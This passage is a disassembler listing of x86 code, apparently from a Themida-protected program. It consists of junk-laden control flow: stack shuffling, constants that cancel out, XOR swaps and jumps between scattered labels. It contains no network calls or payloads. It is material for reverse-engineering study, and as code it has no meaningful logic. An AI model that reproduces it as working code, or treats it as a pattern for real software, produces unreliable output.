; ---------------------------------------------------------------------------


loc_5697A6:				; CODE XREF: sub_55EDA7+6ADj
		pop	esp
		mov	[esp-10h+arg_C], esp
		add	[esp-10h+arg_C], 4
		mov	edx, [esp-10h+arg_C]
		add	esp, 4
		add	edx, 4
		add	edx, 4
		sub	esp, 4
		jmp	loc_55F2C8
; ---------------------------------------------------------------------------


loc_5697CE:				; CODE XREF: sub_55EDA7+F26Aj
		mov	esp, [esp-10h+arg_C]
		dec	byte ptr [esp-10h+arg_C]
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_5697DA:				; CODE XREF: sub_55EDA7+C4A6j
		neg	edx
		dec	edx
		jmp	loc_55EE08
; ---------------------------------------------------------------------------


loc_5697E2:				; CODE XREF: sub_55EDA7+AB0j
		push	3BE2591Ah
		pop	edi
		push	eax
		mov	eax, 789C62D9h
		jmp	loc_5647B3
; ---------------------------------------------------------------------------


loc_5697F3:				; CODE XREF: sub_55EDA7+D219j
		mov	ecx, [esp-0Ch+arg_8]
		add	esp, 4
		sub	ebx, 53EC2617h
		add	ebx, edi
		add	ebx, 53EC2617h
		add	ebx, 51630F1Eh
		sub	ebx, 7BDC4D58h
		mov	[ebx], al
		mov	ebx, [esp-10h+arg_C]
		jmp	loc_57287E
; ---------------------------------------------------------------------------


loc_56981D:				; CODE XREF: sub_55EDA7+11D1Ej
		xchg	ebp, [esp-10h+arg_C]
		mov	esp, [esp-10h+arg_C]
		or	edx, eax
		shl	edx, 1
		push	eax
		push	esi
		jmp	loc_56C536
; ---------------------------------------------------------------------------


loc_56982E:				; CODE XREF: sub_55EDA7+12D6Fj
		add	esp, 4
		and	eax, ecx
		push	[esp-0Ch+arg_8]
		mov	ecx, [esp-8+arg_4]
		push	ebp
		mov	ebp, esp
		jmp	loc_56CA4D
; ---------------------------------------------------------------------------


loc_569841:				; CODE XREF: sub_55EDA7+B659j
		add	ebp, 4
		sub	esp, 4
		jmp	loc_5603E0
; ---------------------------------------------------------------------------


loc_56984F:				; CODE XREF: sub_55EDA7+10021j
		push	eax
		jmp	loc_56A8CD
; ---------------------------------------------------------------------------


loc_569855:				; CODE XREF: sub_55EDA7+20E7j
		or	edx, 73E0728Dh
		sub	edx, 27785A4Ch
		not	edx
		jmp	loc_56ECA6
; ---------------------------------------------------------------------------


loc_569868:				; CODE XREF: sub_55EDA7+10CDBj
		mov	[esp+2+var_4+2], esi
		push	edi
		jmp	loc_55F68F
; ---------------------------------------------------------------------------


loc_569871:				; CODE XREF: sub_55EDA7+30F7j
		mov	esp, [esp-0Ah+arg_4+2]
		shr	eax, 10h
		xor	eax, ecx
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		push	6333h
		mov	[esp-6+arg_0+2], ebp
		xor	[esp-6+arg_0+2], edx
		xor	edx, [esp-6+arg_0+2]
		xor	[esp-6+arg_0+2], edx
		push	edx
		jmp	loc_56A058
; ---------------------------------------------------------------------------


loc_569896:				; CODE XREF: sub_55EDA7+5E82j
		neg	ebp
		sub	ebp, 5FF1B03Dh
		sub	ecx, 4FD422FEh
		jmp	loc_55E97C
; ---------------------------------------------------------------------------


loc_5698A9:				; CODE XREF: sub_55EDA7+12F55j
		mov	ebp, [esp+0]
		add	esp, 4
		pop	[esp-4+arg_0]
		push	eax
		push	ecx
		mov	ecx, 66B078DCh
		mov	eax, 66B078D8h
		xor	eax, ecx
		pop	ecx
		add	[esp-4+arg_4], eax
		jmp	loc_5644AA
; ---------------------------------------------------------------------------


loc_5698CA:				; CODE XREF: sub_55EDA7+11EE6j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], ecx
		push	0BE1h
		mov	[esp-4+arg_0], esi
		jmp	loc_55F6E8
; ---------------------------------------------------------------------------


loc_5698E8:				; CODE XREF: sub_55EDA7+A078j
		mov	edi, [esp+18h+var_1A+2]
		push	eax
		push	esp
		pop	eax
		push	esi
		jmp	loc_560701
; ---------------------------------------------------------------------------


loc_5698F4:				; CODE XREF: sub_55EDA7+AB79j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+20h+var_22+2]
		pop	esp
		jmp	loc_56BD26
; ---------------------------------------------------------------------------


loc_56990B:				; CODE XREF: sub_55EDA7-672j
		mov	ebx, esp
		jmp	loc_56192D
; ---------------------------------------------------------------------------


loc_569912:				; DATA XREF: Themida_:0055DFECo
		mov	eax, [esp-30h+arg_2C]
		push	eax
		push	esp
		jmp	loc_564315
; ---------------------------------------------------------------------------


loc_56991C:				; CODE XREF: sub_55EDA7+4601j
		mov	ebx, [esp-18h+arg_14]
		push	edi
		jmp	loc_5698F4
; ---------------------------------------------------------------------------


loc_569925:				; CODE XREF: sub_55EDA7+13CD8j
		or	esi, 38EE3EA2h
		inc	esi
		inc	esi
		sub	esi, 0FFFFFFFFh
		jmp	loc_570CD3
; ---------------------------------------------------------------------------


loc_569935:				; CODE XREF: sub_55EDA7-615j
		mov	esp, [esp-30h+arg_2C]
		jmp	loc_568B63
; ---------------------------------------------------------------------------
		lodsd
		add	eax, 7E572F38h
		sub	eax, 66987788h
		sub	eax, ebx
		jmp	loc_56EBEA
; ---------------------------------------------------------------------------


loc_56994F:				; CODE XREF: sub_55EDA7+8BC9j
		sub	esp, 4
		jmp	loc_56DA2A
; ---------------------------------------------------------------------------


loc_569957:				; CODE XREF: sub_55EDA7+1BFj
		pop	ebp
		shl	edx, 6
		xor	edx, 797572C5h
		mov	edi, edx
		pop	edx
		or	ecx, edi
		pop	edi
		sub	ecx, 0C5A39CBCh
		xor	ebx, ecx
		push	[esp+1Ch+var_1E+2]
		jmp	loc_56E490
; ---------------------------------------------------------------------------


loc_569977:				; CODE XREF: sub_55EDA7+50D0j
		add	esp, 4
		inc	ebp
		not	ebp
		xor	ebp, 0A6D09EE0h
		push	ebp
		pop	ecx
		mov	ebp, [esp+2Ah+var_2A]
		jmp	loc_56246D
; ---------------------------------------------------------------------------


loc_56998D:				; CODE XREF: sub_55EDA7+13337j
		push	ebx
		push	edx
		mov	edx, 15D267EBh
		push	edx
		pop	ebx
		pop	edx
		jmp	loc_565E25
; ---------------------------------------------------------------------------


loc_56999C:				; CODE XREF: Themida_:0055E2BFj
		and	esi, 4977018Dh
		inc	esi
		add	esi, 616B350Fh
		mov	eax, esi
		jmp	loc_56A4A2
; ---------------------------------------------------------------------------


loc_5699B0:				; CODE XREF: sub_55EDA7+922Cj
		add	edx, 4
		jmp	loc_56EC63
; ---------------------------------------------------------------------------


loc_5699BB:				; CODE XREF: sub_55EDA7+64C4j
		pop	ebx
		jmp	loc_55E422
; ---------------------------------------------------------------------------


loc_5699C1:				; CODE XREF: sub_55EDA7+CF6j
		mov	ecx, esp
		add	ecx, 4
		push	2194h
		mov	[esp-0Ch+arg_8], edx
		jmp	loc_5611DA
; ---------------------------------------------------------------------------


loc_5699D6:				; CODE XREF: sub_56F72C+22j
		add	ebp, 4
		push	49ACh
		mov	[esp-8+arg_4], edi
		push	ebp
		push	7ED36ACBh
		push	dword ptr [esp+0]
		pop	ebp
		push	36F4h
		mov	[esp+4+var_4], ecx
		mov	ecx, esp
		jmp	loc_56255B
; ---------------------------------------------------------------------------


loc_5699FD:				; CODE XREF: sub_55EDA7+1347Fj
		push	ecx
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_569A04:				; CODE XREF: sub_55EDA7+CA8Ej
		mov	[esp+0Ch+var_E+2], eax
		mov	eax, 1E2015CAh
		and	edi, eax
		pop	eax
		push	ecx
		jmp	loc_56613D
; ---------------------------------------------------------------------------


loc_569A15:				; CODE XREF: sub_55EDA7+3F8Dj
		push	ecx
		push	esi
		push	4F092662h
		pop	esi
		xor	esi, 19B7736Bh
		or	esi, 10F4092Ch
		or	esi, 65675F8Eh
		xor	esi, 269C50B1h
		mov	ecx, esi
		pop	esi
		add	ebx, 65746B48h
		jmp	loc_5663E4
; ---------------------------------------------------------------------------


loc_569A43:				; CODE XREF: sub_55EDA7+574Dj
		xor	ebp, eax
		pop	eax
		mov	ecx, ebp
		mov	ebp, [esp+3Ah+var_3A]
		add	esp, 4
		add	edi, ecx
		jmp	loc_56B283
; ---------------------------------------------------------------------------


loc_569A55:				; CODE XREF: sub_55EDA7+FE30j
		pop	edx
		or	eax, esi
		jmp	loc_5703C4
; ---------------------------------------------------------------------------


loc_569A5D:				; CODE XREF: sub_55EDA7+8332j
		pop	esi
		shr	eax, 8
		add	eax, 12143BFh
		push	edx
		jmp	loc_56C48A
; ---------------------------------------------------------------------------


loc_569A6C:				; CODE XREF: sub_55EDA7+9445j
		add	al, 2Dh
		push	edx
		push	eax
		mov	ah, 89h
		mov	dl, ah
		pop	eax
		push	ebx
		mov	bl, 3Ch
		xor	dl, bl
		pop	ebx
		sub	al, dl
		pop	edx
		push	ebx
		jmp	loc_56D7B4
; ---------------------------------------------------------------------------


loc_569A84:				; CODE XREF: sub_55EDA7+FD06j
		sub	esi, ebx
		pop	ebx
		jmp	loc_56840C
; ---------------------------------------------------------------------------


loc_569A8C:				; CODE XREF: sub_55EDA7+CAAAj
		pop	esi
		mov	ebp, [esp+0]
		add	esp, 4
		shl	esi, 7
		xor	esi, 0C3BB8C52h
		sub	edi, 0BD4038Ch
		jmp	loc_560B42
; ---------------------------------------------------------------------------


loc_569AA7:				; CODE XREF: sub_55EDA7+EFA5j
		push	2D5h
		mov	[esp+0], edx
		push	ebx
		push	29CCh
		mov	[esp+12h+var_12], edi
		mov	edi, 7E65157Ah
		push	edi
		sub	[esp+16h+var_16], 226720E7h
		pop	ebx
		add	ebx, 226720E7h
		mov	edi, [esp+12h+var_12]
		add	esp, 4
		shr	ebx, 8
		push	ecx
		push	ebx
		mov	ebx, 2AC13365h
		jmp	loc_5657EE
; ---------------------------------------------------------------------------


loc_569AE1:				; CODE XREF: sub_55EDA7+1495j
		mov	ebx, 4
		jmp	loc_568810
; ---------------------------------------------------------------------------


loc_569AEB:				; CODE XREF: sub_55EDA7+11428j
		xchg	ebp, [esp+3Ch+var_3E+2]
		pop	esp
		mov	[esp+38h+var_3A+2], ecx
		push	0DBCh
		mov	[esp+3Ch+var_3E+2], ecx
		push	esp
		jmp	loc_55E4FF
; ---------------------------------------------------------------------------


loc_569B00:				; CODE XREF: sub_55EDA7+5440j
		push	ecx
		jmp	loc_5715C9
; ---------------------------------------------------------------------------


loc_569B06:				; CODE XREF: sub_55EDA7+8674j
		add	ch, bh
		mov	ebx, [esp-14h+arg_10]
		add	esp, 4
		sub	al, 72h
		jmp	loc_55FBDD
; ---------------------------------------------------------------------------


loc_569B18:				; CODE XREF: sub_55EDA7+36C1j
		pop	esp
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp-18h+arg_14], edx
		jmp	loc_5688D6
; ---------------------------------------------------------------------------


loc_569B2B:				; CODE XREF: sub_55EDA7+202Dj
		xor	edx, [esp-18h+arg_14]
		jmp	loc_56E66E
; ---------------------------------------------------------------------------


loc_569B33:				; CODE XREF: sub_55EDA7+55EAj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-20h+arg_1C]
		mov	esp, [esp-20h+arg_1C]
		jmp	loc_55E8B4
; ---------------------------------------------------------------------------


loc_569B49:				; CODE XREF: Themida_:00571A7Ej
		mov	ebp, [esp-20h+arg_1C]
		jmp	loc_56938D
; ---------------------------------------------------------------------------


loc_569B51:				; CODE XREF: Themida_:0056EBE5j
		push	[esp-20h+arg_1C]
		jmp	loc_56EC6E
; ---------------------------------------------------------------------------


loc_569B59:				; CODE XREF: sub_55EDA7+107CDj
		add	ecx, 14307F2Bh
		add	ecx, ebx
		push	ebp
		push	edi
		jmp	loc_56CBA6
; ---------------------------------------------------------------------------


loc_569B68:				; CODE XREF: sub_55EDA7+39E6j
		xchg	eax, edi
		sub	esp, 4
		mov	[esp-24h+arg_20], ecx
		jmp	loc_5689D9
; ---------------------------------------------------------------------------


loc_569B77:				; CODE XREF: sub_55EDA7+9528j
		mov	edx, 18872D6Fh
		jmp	loc_568A8C
; ---------------------------------------------------------------------------


loc_569B81:				; CODE XREF: sub_55EDA7+FC91j
		mov	edx, eax
		jmp	loc_562454
; ---------------------------------------------------------------------------


loc_569B88:				; CODE XREF: sub_55EDA7+12695j
		xor	esi, [esp+18h+var_1A+2]
		mov	esp, [esp+18h+var_1A+2]
		jmp	loc_566FFF
; ---------------------------------------------------------------------------


loc_569B93:				; CODE XREF: sub_55EDA7+799Bj
		mov	cl, 0FCh
		add	cl, 7Eh
		jmp	loc_56E774
; ---------------------------------------------------------------------------


loc_569B9D:				; CODE XREF: sub_55EDA7+3667j
		xchg	edx, edi
		xchg	edi, ebx
		xchg	eax, ebx
		push	esi
		mov	esi, 0A86B36h
		shl	esi, 4
		neg	esi
		and	esi, 86365CFh
		and	esi, 39F338C4h
		add	esi, 4CD675B2h
		add	esi, 51E8BBBh
		and	eax, esi
		pop	esi
		jmp	loc_567B78
; ---------------------------------------------------------------------------


loc_569BCD:				; CODE XREF: sub_55EDA7+125B9j
		xor	eax, edi
		pop	edi
		jmp	loc_5695DB
; ---------------------------------------------------------------------------


loc_569BD5:				; CODE XREF: sub_55EDA7+49C5j
		mov	eax, esp
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		add	eax, 4
		xchg	eax, [esp-0Ch+arg_8]
		pop	esp
		push	eax
		mov	eax, 4A541B81h
		or	eax, 224B7733h
		jmp	loc_56A897
; ---------------------------------------------------------------------------


loc_569BF9:				; CODE XREF: sub_55EDA7+2932j
		mov	[esp+38h+var_3A+2], esi
		push	36BDh
		mov	[esp+3Ch+var_3E+2], esp
		add	[esp+3Ch+var_3E+2], 4
		jmp	loc_5620D0
; ---------------------------------------------------------------------------


loc_569C0D:				; CODE XREF: sub_55EDA7+9317j
		pop	ebx
		shr	esi, 4
		dec	esi
		xor	esi, 0FE145E40h
		mov	edx, esi
		pop	esi
		jmp	loc_561746
; ---------------------------------------------------------------------------


loc_569C20:				; CODE XREF: sub_55EDA7+F87Ej
		pop	[esp+1Ch+var_1E+2]
		push	esi
		mov	esi, 0F8744E2h
		and	esi, 523477A3h
		dec	esi
		xor	esi, 20444A5h
		add	[esp+1Ch+var_1A+2], esi
		pop	esi
		pop	edi
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		push	eax
		mov	eax, 4
		sub	edi, 3C2B205Ch
		sub	edi, 14F279D8h
		add	edi, eax
		add	edi, 14F279D8h
		add	edi, 3C2B205Ch
		pop	eax
		xchg	edi, [esp+14h+var_16+2]
		pop	esp
		add	ecx, 3694239Eh
		push	289Ah
		mov	[esp+14h+var_16+2], edx
		mov	edx, 1560366Ch
		xor	edx, 5566311Dh
		jmp	loc_55E3C4
; ---------------------------------------------------------------------------


loc_569C88:				; CODE XREF: sub_55EDA7+701Cj
		and	edi, 75F17F15h
		sub	edi, 2C720861h
		xor	edi, 6FB1614Ah
		add	edx, edi
		pop	edi
		mov	ebx, [esp+0Eh+var_E]
		jmp	loc_56FDA7
; ---------------------------------------------------------------------------


loc_569CA5:				; CODE XREF: sub_55EDA7+12888j
		push	dword ptr [esp+4]
		pop	ebp
		pop	[esp+0Eh+var_E]
		mov	esp, [esp+0]
		xor	[esp+0], eax
		jmp	loc_56DDDF
; ---------------------------------------------------------------------------


loc_569CB8:				; DATA XREF: Themida_:0055E060o
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	byte ptr [esp+8+var_8],	al
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_569CC7:				; CODE XREF: sub_55EDA7+4F05j
		sub	eax, esi
		pop	esi
		xchg	eax, [esp-20h+arg_1C]
		jmp	loc_56899C
; ---------------------------------------------------------------------------


loc_569CD2:				; CODE XREF: sub_55EDA7+627j
		add	eax, 154D2AA5h
		pop	esi
		jmp	loc_56B05F
; ---------------------------------------------------------------------------


loc_569CDD:				; CODE XREF: sub_55EDA7+13C7j
		push	ebx
		jmp	loc_55F159
; ---------------------------------------------------------------------------


loc_569CE3:				; CODE XREF: sub_55EDA7+FA03j
		add	ebp, esi
		sub	ebp, 68C7068Bh
		jmp	loc_560512
; ---------------------------------------------------------------------------


loc_569CF0:				; CODE XREF: sub_55EDA7+5655j
		shl	esi, 8
		jmp	loc_56F8E9
; ---------------------------------------------------------------------------


loc_569CF8:				; CODE XREF: sub_55EDA7+376j
		sub	ecx, esi
		pop	esi
		push	[esp+28h+var_2A+2]
		pop	eax
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp+24h+var_26+2]
		mov	esp, [esp+24h+var_26+2]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+28h+var_2A+2]
		pop	esp
		jmp	sub_56D8B3
; ---------------------------------------------------------------------------


loc_569D26:				; CODE XREF: sub_55EDA7+8C4Dj
		mov	[esp-1Ah+arg_14+2], esi
		jmp	loc_569741
; ---------------------------------------------------------------------------


loc_569D2E:				; CODE XREF: sub_55EDA7+9FB5j
		pop	ebx
		add	edx, edi
		pop	edi
		push	eax
		mov	eax, 4
		jmp	loc_568BEF
; ---------------------------------------------------------------------------


loc_569D3D:				; CODE XREF: sub_55EDA7+FA94j
		xchg	esi, [esp-8+arg_4]
		pop	esp
		shr	ecx, 2
		push	ebx
		sub	esp, 4
		jmp	loc_56B372
; ---------------------------------------------------------------------------


loc_569D50:				; CODE XREF: sub_55EDA7-4FEj
		mov	dh, 0C4h
		xor	ah, dh
		pop	edx
		sub	ah, 0B2h
		sub	bl, 6
		sub	bl, ah
		add	bl, 6
		pop	ax
		add	bl, al
		jmp	loc_56538C
; ---------------------------------------------------------------------------


loc_569D69:				; CODE XREF: sub_55EDA7+3A4Cj
		pop	edx
		sub	ebp, esi
		mov	esi, [esp-8+arg_4]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_56AB7F
; ---------------------------------------------------------------------------


loc_569D80:				; CODE XREF: sub_55EDA7+11D7Ej
		pop	edx
		jmp	loc_55EC16
; ---------------------------------------------------------------------------


loc_569D86:				; CODE XREF: sub_55EDA7+B85Fj
		xor	eax, 2B0D174Bh
		sub	eax, 224D95E2h
		add	[esp-8+arg_8], eax
		mov	eax, [esp-8+arg_4]
		add	esp, 4
		jmp	loc_57068B
; ---------------------------------------------------------------------------


loc_569DA2:				; CODE XREF: sub_55EDA7+4752j
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_569DA7:				; CODE XREF: sub_55EDA7+12056j
		mov	eax, esi
		pop	esi
		add	[esp+0Ch+var_8], eax
		pop	eax
		sub	[esp+8+var_8], eax
		sub	[esp+8+var_8], 31B452A8h
		push	494h
		mov	[esp+0Ch+var_E+2], eax
		mov	eax, 0D5E7855h
		dec	eax
		sub	eax, 51192B80h
		push	edi
		mov	edi, 1A442BC1h
		jmp	loc_5711C8
; ---------------------------------------------------------------------------


loc_569DD7:				; CODE XREF: sub_55EDA7+2FBAj
		add	eax, 4
		push	ebp
		push	edx
		push	503A58C6h
		pop	edx
		push	ebp
		push	eax
		mov	eax, 5AA2339Ah
		dec	eax
		not	eax
		inc	eax
		add	eax, 5FE41F33h
		sub	eax, 0C2CCEAE1h
		mov	ebp, eax
		pop	eax
		jmp	loc_563C1A
; ---------------------------------------------------------------------------


loc_569E01:				; CODE XREF: sub_55EDA7+A7AEj
		inc	eax
		and	eax, 2B317DFFh
		sub	eax, 7A375449h
		sub	eax, 741AABD3h
		xor	ecx, eax
		pop	eax
		jmp	sub_56D82C
; ---------------------------------------------------------------------------


loc_569E19:				; CODE XREF: sub_55EDA7+9559j
		push	66B2h
		mov	[esp+18h+var_1A+2], edx
		push	4AD5652Fh
		pop	edx
		xor	ebp, edx
		pop	edx
		jmp	loc_562B46
; ---------------------------------------------------------------------------


loc_569E2F:				; CODE XREF: sub_55EDA7+E732j
		mov	ebp, [esp+14h+var_16+2]
		add	esp, 4
		jmp	loc_55FF3B
; ---------------------------------------------------------------------------


loc_569E3D:				; CODE XREF: sub_55EDA7-B23j
		xor	edi, 30D303AEh
		mov	ebx, edi
		pop	edi
		jmp	loc_5724DD
; ---------------------------------------------------------------------------


loc_569E4B:				; CODE XREF: sub_55EDA7+11C6Cj
		push	792Ch
		mov	[esp+14h+var_16+2], ebx
		sub	esp, 4
		jmp	loc_56A5F9
; ---------------------------------------------------------------------------


loc_569E5E:				; CODE XREF: sub_55EDA7+62A2j
		add	ecx, 7968C703h
		mov	edi, ecx
		pop	ecx
		jmp	loc_56139A
; ---------------------------------------------------------------------------


loc_569E6C:				; CODE XREF: sub_55EDA7+93B2j
		push	[esp-4+arg_0]
		mov	eax, [esp+0]
		jmp	loc_56245D
; ---------------------------------------------------------------------------


loc_569E77:				; CODE XREF: sub_55EDA7+C98Cj
		xor	[esp+0], eax
		xor	eax, [esp+0]
		jmp	loc_568DDB
; ---------------------------------------------------------------------------


loc_569E82:				; CODE XREF: sub_55EDA7+A060j
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_569E87:				; CODE XREF: sub_55EDA7+3BADj
		push	[esp-18h+arg_14]
		jmp	loc_571B15
; ---------------------------------------------------------------------------


loc_569E8F:				; CODE XREF: sub_55EDA7+13853j
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp-10h+arg_C]
		jmp	loc_562A69
; ---------------------------------------------------------------------------


loc_569EA6:				; CODE XREF: sub_55EDA7+D1DEj
		add	ebp, ebx
		add	ebp, 5F6B3814h
		mov	ebx, [esp-10h+arg_C]
		add	esp, 4
		xor	ebp, [esp-14h+arg_10]
		jmp	loc_566120
; ---------------------------------------------------------------------------


loc_569EBC:				; CODE XREF: sub_55EDA7+F92Bj
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-14h+arg_10]
		pop	esp
		or	eax, eax
		jz	loc_56A771
		push	dword ptr [edi+1Ch]
		push	[esp-14h+arg_10]
		push	[esp-10h+arg_C]
		pop	ecx
		push	7E30h
		jmp	loc_56BBEB
; ---------------------------------------------------------------------------


loc_569EE7:				; CODE XREF: sub_55EDA7+E2FDj
		add	edx, 7BF2D67h
		add	edx, 42F61AD2h
		push	ecx
		mov	ecx, 436162F7h
		add	edx, ecx
		pop	ecx
		add	edx, 57F56734h
		add	edx, eax
		sub	edx, 57F56734h
		sub	edx, 436162F7h
		push	ebx
		jmp	loc_5681A4
; ---------------------------------------------------------------------------


loc_569F16:				; CODE XREF: sub_55EDA7+914Bj
		push	2AF3h
		mov	[esp+32h+var_32], ecx
		jmp	loc_5634B5
; ---------------------------------------------------------------------------


loc_569F23:				; CODE XREF: sub_55EDA7+1321Cj
		mov	ch, bl
		not	ch
		push	eax
		jmp	loc_55FB5F
; ---------------------------------------------------------------------------


loc_569F2D:				; CODE XREF: sub_55EDA7+98EAj
		sub	bh, 17h
		add	bh, ah
		jmp	loc_55FF7B
; ---------------------------------------------------------------------------


loc_569F37:				; CODE XREF: sub_55EDA7+12576j
		mov	ebp, 33C9029Dh
		xor	ecx, ebp
		pop	ebp
		shr	ecx, 6
		jmp	sub_56F4DD
; ---------------------------------------------------------------------------


loc_569F47:				; CODE XREF: sub_55EDA7+5887j
		push	eax
		mov	eax, 4
		jmp	loc_56B252
; ---------------------------------------------------------------------------


loc_569F52:				; CODE XREF: sub_55EDA7+2234j
		push	edi
		push	[esp-1Ch+arg_1C]
		pop	edi
		pop	[esp-1Ch+arg_18]
		mov	esp, [esp-20h+arg_1C]
		push	ecx
		push	6B73h
		mov	[esp-18h+arg_14], edi
		jmp	loc_56B81D
; ---------------------------------------------------------------------------


loc_569F6C:				; CODE XREF: sub_55EDA7+1220Aj
		sub	eax, 63052EEh
		jmp	loc_561CC1
; ---------------------------------------------------------------------------


loc_569F76:				; CODE XREF: sub_55EDA7+93A0j
		sub	esp, 4
		jmp	loc_560222
; ---------------------------------------------------------------------------


loc_569F81:				; CODE XREF: sub_55EDA7+9F07j
		and	edx, 60350A50h
		sub	edx, 4A5C5301h
		shr	edx, 2
		xor	edx, 4C012A91h
		sub	ebx, edx
		pop	edx
		pop	eax
		sub	ebx, eax
		jmp	loc_56459F
; ---------------------------------------------------------------------------


loc_569FA1:				; CODE XREF: sub_55EDA7+13B95j
		add	edi, ebp
		pop	ebp
		xor	edi, 0D9642165h
		sub	ebx, 2BB528B7h
		add	ebx, 4A784112h
		add	ebx, edi
		sub	ebx, 4A784112h
		add	ebx, 2BB528B7h
		jmp	loc_561687
; ---------------------------------------------------------------------------


loc_569FC9:				; CODE XREF: sub_55EDA7+1E5Dj
		push	ax
		mov	al, 68h
		mov	bh, al
		pop	ax
		add	al, bh
		mov	ebx, [esp-18h+arg_14]
		push	edi
		push	5DC5h
		mov	[esp-10h+arg_C], esp
		add	[esp-10h+arg_C], 4
		pop	edi
		add	edi, 4
		jmp	loc_565CD1
; ---------------------------------------------------------------------------


loc_569FEF:				; CODE XREF: sub_55EDA7+C191j
		mov	ebx, 0FFFFFFFFh
		add	edi, 473B0856h
		sub	edi, ebx
		sub	edi, 473B0856h
		jmp	loc_565142
; ---------------------------------------------------------------------------


loc_56A007:				; CODE XREF: sub_55EDA7+B99Dj
		add	ebx, 4
		add	ebx, 4
		push	ebx
		jmp	loc_563CBC
; ---------------------------------------------------------------------------


loc_56A016:				; CODE XREF: sub_55EDA7+F93j
		push	edx
		mov	edx, 561A1D6Ch
		sub	edi, edx
		pop	edx
		push	[esp-20h+arg_1C]
		push	[esp-1Ch+arg_18]
		pop	ebp
		add	esp, 4
		jmp	loc_56BC91
; ---------------------------------------------------------------------------


loc_56A02E:				; CODE XREF: sub_55EDA7+3976j
		pop	edx
		add	esp, 4
		add	ebp, 0F2AFC420h
		add	eax, 9A57129h
		jmp	loc_56EA70
; ---------------------------------------------------------------------------


loc_56A045:				; CODE XREF: sub_55EDA7-4E1j
		xor	ecx, [esp-18h+arg_14]
		mov	esp, [esp-18h+arg_14]
		mov	[esp-18h+arg_14], ebp
		push	7580h
		jmp	loc_56D349
; ---------------------------------------------------------------------------


loc_56A058:				; CODE XREF: sub_55EDA7+AAEAj
		push	esi
		pop	edx
		pop	esi
		not	esi
		xor	edx, esi
		xor	esi, edx
		jmp	loc_56D6F3
; ---------------------------------------------------------------------------


loc_56A066:				; CODE XREF: sub_55EDA7+122C1j
		add	ch, 55h
		add	dl, ch
		pop	ecx
		jmp	loc_572AA9
; ---------------------------------------------------------------------------


loc_56A071:				; CODE XREF: sub_55EDA7+19j
		add	esp, 4
		xchg	ecx, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		jmp	loc_55F6A2
; ---------------------------------------------------------------------------


loc_56A07F:				; CODE XREF: sub_55EDA7+34D3j
		add	eax, ebp
		pop	ebp
		sub	ecx, eax
		jmp	loc_56EEE0
; ---------------------------------------------------------------------------


loc_56A089:				; CODE XREF: sub_55EDA7+854Fj
		mov	edi, esp
		add	edi, 4
		jmp	loc_55EF07
; ---------------------------------------------------------------------------


loc_56A096:				; CODE XREF: sub_55EDA7+11A38j
		shr	ebx, 8
		jmp	loc_56191D
; ---------------------------------------------------------------------------


loc_56A09E:				; CODE XREF: sub_55EDA7+CEE5j
		push	4307h
		mov	[esp-8+arg_4], esi
		push	ebx
		push	3E921296h
		push	dword ptr [esp+0]
		mov	ebx, [esp+4+var_4]
		sub	esp, 4
		jmp	loc_563F36
; ---------------------------------------------------------------------------


loc_56A0BA:				; CODE XREF: sub_55EDA7+6CA3j
		add	ebp, ebx
		mov	ebx, [esp-10h+arg_C]
		jmp	loc_568902
; ---------------------------------------------------------------------------


loc_56A0C4:				; CODE XREF: sub_55EDA7+4936j
		add	ebx, ecx
		jmp	loc_56F753
; ---------------------------------------------------------------------------


loc_56A0CB:				; CODE XREF: sub_55EDA7+9FBBj
		add	eax, ebx
		pop	ebx
		push	ecx
		push	77E0h
		jmp	loc_5607E6
; ---------------------------------------------------------------------------


loc_56A0D9:				; CODE XREF: sub_55EDA7+8163j
		push	ebp
		jmp	loc_562803
; ---------------------------------------------------------------------------


loc_56A0DF:				; CODE XREF: sub_55EDA7+2F87j
		add	esp, 4
		add	ebx, 5A85767Eh
		jmp	loc_565759
; ---------------------------------------------------------------------------


loc_56A0ED:				; CODE XREF: sub_55EDA7-735j
		mov	ah, 4Dh
		not	ah
		jmp	loc_563EE4
; ---------------------------------------------------------------------------


loc_56A0F6:				; CODE XREF: sub_55EDA7+CF9Dj
		sub	eax, 7CBF62A4h
		sub	eax, 62AC1E2Fh
		jmp	loc_56E10A
; ---------------------------------------------------------------------------


loc_56A105:				; CODE XREF: sub_55EDA7+8790j
		push	edx
		mov	edx, ebx
		push	edx
		sub	[esp-1Ch+arg_18], 6AFB4906h
		pop	edi
		jmp	loc_57047F
; ---------------------------------------------------------------------------


loc_56A116:				; CODE XREF: sub_55EDA7+794Ej
		push	ebx
		mov	bl, 71h
		shl	bl, 4
		or	bl, 0Eh
		add	bl, 39h
		sub	bl, 2
		add	bl, 1
		sub	esp, 2
		mov	word ptr [esp+36h+var_36], dx
		jmp	loc_564072
; ---------------------------------------------------------------------------


loc_56A134:				; CODE XREF: sub_55EDA7+34A5j
		push	0E69h
		jmp	loc_55E5F1
; ---------------------------------------------------------------------------


loc_56A13E:				; CODE XREF: sub_55EDA7+1558j
		add	esi, 4
		xchg	esi, [esp+18h+var_1A+2]
		pop	esp
		jmp	loc_55F13E
; ---------------------------------------------------------------------------


loc_56A14D:				; CODE XREF: sub_55EDA7+32E3j
		mov	ecx, esp
		jmp	loc_571F51
; ---------------------------------------------------------------------------


loc_56A154:				; CODE XREF: sub_55EDA7+FC43j
		pop	eax
